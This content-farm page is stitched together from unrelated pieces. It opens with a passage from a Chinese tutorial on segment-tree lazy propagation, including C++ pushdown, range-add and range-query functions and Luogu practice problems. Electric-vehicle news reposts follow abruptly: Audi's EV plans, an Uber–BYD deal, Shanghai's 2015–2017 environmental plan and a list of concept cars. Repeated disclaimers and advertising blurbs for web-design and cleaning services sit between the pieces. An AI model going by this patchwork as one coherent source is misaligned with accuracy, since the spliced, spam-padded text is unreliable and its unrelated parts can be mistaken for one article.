為什麼呢

先來回想一下剛才的操作:將區間加上標記 最終查詢的時候去從上往下找 將標記累加最後再加上初始值

但是這樣真的可以嗎?

答案是否定的 原因很簡單:如果你要求1~3區間的和 而你剛剛將3~5的區間加上標記 因為1~3並不包含3~5的標記 所以我們計算后的結果並不是加k之後的和 而是初始值的和

那如何解決這個問題呢? 也很簡單:只要將我們的標記k下放到i的兒子不就好了嗎

所以我們的算法雛形就出來了(這也是線段樹最毒瘤而且難調最具有魅力的地方)

  • 首先我們在結構體中多定義一個變量lazy 用於記錄標記 每次有加的操作的時候我們就加到lazy上
  • 然後就是下放操作pushdown 用於將lazy下放到i的兒子節點中
  • 所以通過簡單的推理和歸納我們仍然有以下性質:
      1. 如果當前區間完全被包含在目標區間中 則這個區間的權值 tree[rt].sum += k*(tree[rt].r - tree[rt].l + 1)
      2. 如果當前區間與目標區間有交集但是並沒有被完全覆蓋 就下放懶惰標記
      3. 下放之後分別對左兒子和右兒子進行相同的操作
  • 最後仍然是按照tree[rt].sum = tree[rt2].sum + tree[rt2+1].sum向上更新
    因此代碼實現就是
void pushdown(long long rt){
	if(tree[rt].lazy != 0){//如果當前區間已經被標記
		tree[rt*2].lazy += tree[rt].lazy;//下放到左兒子
		tree[rt*2+1].lazy += tree[rt].lazy;//下放到右兒子
		long long mid = (tree[rt].l + tree[rt].r)/2;
		tree[rt*2].sum += tree[rt].lazy*(mid - tree[rt*2].l + 1);//更新左兒子的值
		tree[rt*2+1].sum += tree[rt].lazy*(tree[rt*2+1].r - mid);//更新右兒子的值
		tree[rt].lazy = 0;//清空當前節點的懶惰標記
	}
	return;
}

void add(long long rt,long long l,long long r,long long k){
	if(tree[rt].l >= l && tree[rt].r <= r){//如果當前區間完全包含在目標區間直接更新並且標記懶惰標記
		tree[rt].sum += k*(tree[rt].r-tree[rt].l+1);//更新當前區間的權值
		tree[rt].lazy += k;//增加懶惰標記
		return;
	}
	pushdown(rt);//下放懶惰標記
	if(tree[rt*2].r >= l)add(rt*2,l,r,k);//遞歸更新左兒子
	if(tree[rt*2+1].l <= r)add(rt*2+1,l,r,k);//遞歸更新右兒子
	tree[rt].sum = tree[rt*2].sum+tree[rt*2+1].sum;//更新當前節點的權值
	return;
}

區間查詢的時候和之前幾乎一樣 不同的是要進行懶惰標記的下放之後在累加

long long search(long long rt,long long l,long long r){
	if(tree[rt].l >= l && tree[rt].r <= r)return tree[rt].sum;//如果當前區間完全包含在目標區間內 直接返回當前區間的權值
	if(tree[rt].r < l || tree[rt].l > r)return 0;//如果當前區間和目標區間完全沒有關係 直接返回0
	pushdown(rt);//下放懶惰標記
	long long s = 0;
	if(tree[rt*2].r >= l)s += search(rt*2,l,r);
	if(tree[rt*2+1].l <= r)s += search(rt*2+1,l,r);
	return s;//最後返回這個區間的和
}

線段樹模型大概就是這個樣子(線段樹還是比較受出題人青睞的難道是因為難調??)
附上練習攻略:
簡單線段樹建議用洛谷P3374【模板】樹狀數組1
        洛谷P3368【模板】樹狀數組2練習板子
如果簡單線段樹沒有問題了
可以去嘗試一下:洛谷P3372【模板】線段樹1
        洛谷P3373【模板】線段樹2
        洛谷P6242【模板】線段樹3

謝謝觀看
點個關注>_<

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※想知道最厲害的網頁設計公司"嚨底家"!

※幫你省時又省力,新北清潔一流服務好口碑

※別再煩惱如何寫文案,掌握八大原則!

奧迪新電動跑車2018年推出:續航超500公里

根據外媒資訊,奧迪將開發多款純電動車和插電式混合動力車。電池動力的跨界車將以新一代發動機縱置模組化平臺MLB 2為基礎。首款基於MLB 2平臺衍生的產品是第二代奧迪Q7,該車將在今年下半年上市。   奧迪技術研發負責人烏爾裡奇•哈肯伯格(Ulrich Hackenberg)在日前奧迪年度大會上告訴媒體:「2018年上半年,我們將推出一款電池動力的運動型跑車,針對大型豪華車細分市場,續航里程超過500公里。該車將擁有全新、極具吸引力的外觀設計,這是我們特地為e-tron系列電動車和純電動車打造的設計。」   而去年,哈肯伯格曾表示,奧迪將推出續航里程280英里(約合45萬公尺)的純電動家用車型,車輛將擁有容納一個家庭的寬敞內部空間,於2017年前後發佈,將和特斯拉Model S電動車爭奪市場;預計將採用轎車風格車身,同時具備寬敞的內部空間,適合家用。   為了達到續航里程目標,新電動車車將採用奧迪最新一代電動馬達和電池,具有較高的能量密度。大眾汽車集團動力總成研發負責人Heinz-Jakob Neußer表示,新馬達較當前用於e-Golf電動車的型號效率高出5倍。 

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

攜手 Uber 比亞迪進軍美電動車市場

叫車服務 Uber 日前證實已與比亞迪達成合作協議,將在美國推廣電動車服務,此舉被視為比亞迪挑戰美國電動車霸主特斯拉的一項舉動。   Uber 發言人 Lauren Altmin 指出,Uber 與比亞迪合作,將是其聚焦電動汽車服務的第一步。Uber 的測試計畫幾周前已在芝加哥展開,並最終將擴大到更多美國城市。Altmin 表示,Uber 去年年底開始與比亞迪和美國汽車銷售商 Green Wheels USA 展開談判,Green Wheels USA 將銷售比亞迪 e6 電動車,並負責在當地建設充電樁。   報導指出,Uber 正試圖用電動車擴大其低階租車領域的市場規模。比亞迪則透過與 Uber 的合作,實現進軍美國電動汽車市場的目標。

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※想知道最厲害的網頁設計公司"嚨底家"!

※幫你省時又省力,新北清潔一流服務好口碑

※別再煩惱如何寫文案,掌握八大原則!

上海環保計畫出爐 新能源車將達1.3萬輛

19日,上海市政府官網發佈了《上海市2015年-2017年環境保護和建設三年行動計畫》。   上海在計畫中提出將大力推廣新能源汽車,到2015年累計推廣新能源汽車1.3萬輛,2017年進一步推廣。在公車、環境衛生、計程車等產業和政府機關,新增或更新的公車中新能源和清潔燃料車的比例達60%以上。上海還將實施集裝箱運輸車隊清潔能源試點,推廣應用LNG集裝箱運輸車輛1000輛以上。加快充電樁、加氣站等配套設施建設,2015年底前累計建成6000個充電樁。   此外,計畫還提出了一系列具體目標,包括:到2017年細顆粒物(PM2.5)年均濃度比2013年下降20%左右;到2017年上海飲用水水源地水質實現達標,重要水功能區主要水質達成率(扣除上游來水)達60%;城市森林覆蓋率達15.5%,上海全市城鎮汙水處理率達90%以上,生活垃圾無害化處理率達100%,農藥化肥施用強度下降10%。

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

這些新能源汽車 保證你一見到就心動!

人類在能源探索的道路上從未止步,不論是迫于傳統能源殆盡的危機,還是脫困於大氣污染迫切要求,新一輪的能源挑戰已經開始。這是一場腦洞大開的遊戲,無論是專業的汽車廠家還是奇思妙想的技術達人都紛紛接招,用或精於科技或詼諧幽默的方式,帶給我們一場奇幻的新能源之旅。  
1 、雪佛蘭EN-V    

通用日前發佈了一款名為雪佛蘭EN-V或者Electric Networked-Vehicle)的新電動概念車。這款概念車配備了兩個座椅,能在尖端衛星導航和感測器系統的説明下自主駕駛。該車配備了一個全電動的鋰離子動力傳動系統,能提供大約40公里的最大續航里程。此外,這款概念車還採用了未來感十足的車身設計和溫度控制系統。而一系列感測器和GPS驅動技術,使得這款EN-V能夠自主駕駛。  
2、標緻Shoo

  標緻Shoo是最具未來派色彩的太陽能概念車之一,其最大特色就是三角形外形設計和為發動機提供能量的太陽能電池板車頂。車頂上配置了太陽能面板將太陽能轉化成為電能,進而驅動該車的電動馬達行駛。依靠綠色能源行駛,綠色環保。而三角形設計,又相對穩定,同樣也讓該車擁有更多充裕的內部空間。   
3、日產Pivo

  日產汽車展出電動車Pivo。這款概念車以鋰電池驅動,座艙能360度旋轉,可適應駕駛人的全方位需求。Pivo最特別的地方是車廂可做180度旋轉,當你駕駛Pivo時,從此不用再倒車入庫,只要將車頭做180度旋轉,即可正向開車入庫。同時,Pivo的車廂和車架可以分離。   
4、AntroSolo

  匈牙利人研製的Antro Solo利用太陽能與汽電混合動力,燃燒每加侖(約合3.8升)汽油可行駛150英里(約合241公里),可謂一個驚人數字。天氣狀況良好時,車頂上的太陽能電池板提供的能量足以讓AntroSolo行駛15至25公里。當碰到多雲天氣,Antro Solo會預設使用一小型電動引擎或者由所搭載的乘客踩下腳踏開關。   
5、科尼賽克Quant

  位於瑞典的超級跑車製造商已研製出一款名為「Quant」的混合動力概念車——將太陽能和黃鐵礦(又名「愚人金」)這兩種最不可能「捆綁」在一起的能源加以混合。科尼賽克發言人表示,Quant的行駛距離可達到300英里(約合482公里),完全充電時間只有20分鐘。   
6、Jetcar

德國東部Neuruppin,電動汽車Jetcar設計者開著這輛電動汽車。這輛車子是電池提供動力,時速可達到160公里。  
7、Nissan終極智能燒烤車

  最後一款是吃貨的福音啦!所有人都愛燒烤,但清理現場又十分麻煩。現在問題解決了,Nissan推出了一款全新終極智慧燒烤車。這台車採用純電力驅動設計。為滿足燒烤需求,該車特別搭配了一台1500瓦的車載電源。車頂上的「人工蚊帳」系統可發射出半徑超聲波和防蟲香熏,能避免燒烤時蚊蟲干擾。    同時,這台終極智慧燒烤車還配有一台電視顯示幕,使用者可自行連接智慧手機看視頻或K歌。最為重要的是——當燒烤結束後,汽車內部自帶的垃圾處理箱和車載迷你接收器可以協助車主清理垃圾。   文/聰捕頭   文章來源:自媒體「排氣管」

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※想知道最厲害的網頁設計公司"嚨底家"!

※幫你省時又省力,新北清潔一流服務好口碑

※別再煩惱如何寫文案,掌握八大原則!